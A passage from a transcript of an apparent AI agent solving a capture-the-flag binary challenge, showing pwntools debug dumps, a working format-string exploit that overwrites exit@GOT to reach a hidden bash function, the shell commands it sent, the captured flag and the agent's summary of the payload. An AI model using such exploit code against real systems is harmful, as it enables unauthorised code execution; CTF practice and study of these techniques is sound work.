6d e2 96 80 e2 │m·[4│8;5;│175m│····│ 00000870 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 │····│····│····│····│ 00000880 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 1b 5b 30 │····│····│····│··[0│ 00000890 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 6d e2 96 88 │m ·[│38;5│;224│m···│ 000008a0 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 │····│····│····│····│ 000008b0 96 88 e2 96 88 e2 96 88 1b 5b 34 38 3b 35 3b 31 │····│····│·[48│;5;1│ 000008c0 37 35 6d e2 96 80 1b 5b 30 6d 20 20 1b 5b 33 38 │75m·│···[│0m │·[38│ 000008d0 3b 35 3b 31 37 35 6d e2 96 80 e2 96 80 e2 96 80 │;5;1│75m·│····│····│ 000008e0 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b 32 32 34 6d │·[0m│ ·[3│8;5;│224m│ 000008f0 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 │····│····│····│····│ 00000900 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 │····│····│····│····│ 00000910 80 1b 5b 30 6d 0a 20 1b 5b 33 38 3b 35 3b 31 37 │··[0│m· ·│[38;│5;17│ 00000920 35 6d e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 │5m··│····│····│····│ 00000930 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 │····│····│····│····│ 00000940 1b 5b 30 6d 20 20 1b 5b 33 38 3b 35 3b 31 37 35 │·[0m│ ·[│38;5│;175│ 00000950 6d e2 96 80 e2 96 80 e2 96 80 e2 96 80 1b 5b 30 │m···│····│····│··[0│ 00000960 6d 20 20 20 20 20 20 20 20 20 1b 5b 33 38 3b 35 │m │ │ ·[│38;5│ 00000970 3b 31 37 35 6d e2 96 80 e2 96 80 e2 96 80 e2 96 │;175│m···│····│····│ 00000980 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 │····│····│····│····│ 00000990 e2 96 80 1b 5b 30 6d 20 20 1b 5b 33 38 3b 35 3b │····│[0m │ ·[3│8;5;│ 000009a0 31 37 35 6d e2 96 80 e2 96 80 e2 96 80 e2 96 80 │175m│····│····│····│ 000009b0 e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 │····│····│····│····│ 000009c0 96 80 1b 5b 30 6d 20 1b 5b 33 38 3b 35 3b 31 37 │···[│0m ·│[38;│5;17│ 000009d0 35 6d e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 │5m··│····│····│····│ 000009e0 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 1b 5b 30 │····│····│····│··[0│ 000009f0 6d 20 20 20 20 20 20 20 1b 5b 33 38 3b 35 3b 31 │m │ │·[38│;5;1│ 00000a00 37 35 6d e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 │75m·│····│····│····│ 00000a10 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 80 e2 96 │····│····│····│····│ 00000a20 80 1b 5b 30 6d 20 0a │··[0│m ·│ 00000a27 [DEBUG] Received 0x6 bytes: b'\n' b'fsb: ' [DEBUG] Sent 0x3b bytes: 00000000 1e c0 04 08 1f c0 04 08 1d c0 04 08 1c c0 04 08 │····│····│····│····│ 00000010 25 32 34 34 63 25 37 24 68 68 6e 25 34 63 25 38 │%244│c%7$│hhn%│4c%8│ 00000020 24 68 68 6e 25 31 33 37 63 25 39 24 68 68 6e 25 │$hhn│%137│c%9$│hhn%│ 00000030 36 39 63 25 31 30 24 68 68 6e 0a │69c%│10$h│hn·│ 0000003b [DEBUG] Sent 0x3e bytes: b'cat /flag 2>/dev/null; cat flag 2>/dev/null; ls -la; id; exit\n' [x] Receiving all data [x] Receiving all data: 0B [DEBUG] Received 0x1d7 bytes: 00000000 1e c0 04 08 1f c0 04 08 1d c0 04 08 1c c0 04 08 │····│····│····│····│ 00000010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000100 20 20 20 80 20 20 20 20 20 20 20 20 20 20 20 20 │ ·│ │ │ │ 00000110 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 00000190 ae 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │· │ │ │ │ 000001a0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 │ │ │ │ │ * 000001d0 20 20 20 20 20 00 0a │ │ ··│ 000001d7 [x] Receiving all data: 471B [DEBUG] Received 0x2b bytes: b'midnight{a3002d8bbb533d1162f2bafc59772c11}\n' [x] Receiving all data: 514B [DEBUG] Received 0x15e bytes: b'total 32\n' b'drwxr-xr-x 1 root ctf 4096 May 10 18:25 .\n' b'drwxr-xr-x 1 root root 4096 May 10 18:25 ..\n' b'-r--r----- 1 root ctf 43 May 10 16:45 flag\n' b'-rwxr-x--- 1 root ctf 34 May 10 16:45 run.sh\n' b'-rwxr-x--- 1 root ctf 13700 May 10 16:45 speed3\n' b'uid=999(ctf) gid=999(ctf) groups=999(ctf)\n' b'/home/ctf/run.sh: line 3: 683 Segmentation fault ./speed3\n' [x] Receiving all data: 864B [+] Receiving all data: Done (864B) [*] Closed connection to speed2.play.ctf.se port 9233 b'\x1e\xc0\x04\x08\x1f\xc0\x04\x08\x1d\xc0\x04\x08\x1c\xc0\x04\x08 \x80 \xae \x00\nmidnight{a3002d8bbb533d1162f2bafc59772c11}\ntotal 32\ndrwxr-xr-x 1 root ctf 4096 May 10 18:25 .\ndrwxr-xr-x 1 root root 4096 May 10 18:25 ..\n-r--r----- 1 root ctf 43 May 10 16:45 flag\n-rwxr-x--- 1 root ctf 34 May 10 16:45 run.sh\n-rwxr-x--- 1 root ctf 13700 May 10 16:45 speed3\nuid=999(ctf) gid=999(ctf) groups=999(ctf)\n/home/ctf/run.sh: line 3: 683 Segmentation fault ./speed3\n' - **Assistant:** Solved. Flag: ```text midnight{a3002d8bbb533d1162f2bafc59772c11} ``` The binary is a 32-bit non-PIE ELF with NX, canary, and Partial RELRO. In `main`, it reads user input with `fgets`, then calls `printf(buffer)` directly, then `exit(0)`. There is also a hidden function at `0x080491d6` that runs: ```c system("/bin/bash"); ``` Because Partial RELRO leaves the GOT writable, I used the format string to overwrite `exit@GOT` at `0x0804c01c` with `0x080491d6`. The remote format-string offset was `7`. The working payload used byte writes: ```python got = 0x0804c01c payload = p32(got + 2) payload += p32(got + 3) payload += p32(got + 1) payload += p32(got) payload += b'%244c%7$hhn%4c%8$hhn%137c%9$hhn%69c%10$hhn' ``` After `printf` returned, the program called `exit(0)`, which jumped into the hidden bash function instead. From that shell, `cat flag` returned the flag above. I also sent progress and final result updates to the webhook as requested. - **System:** Thread completed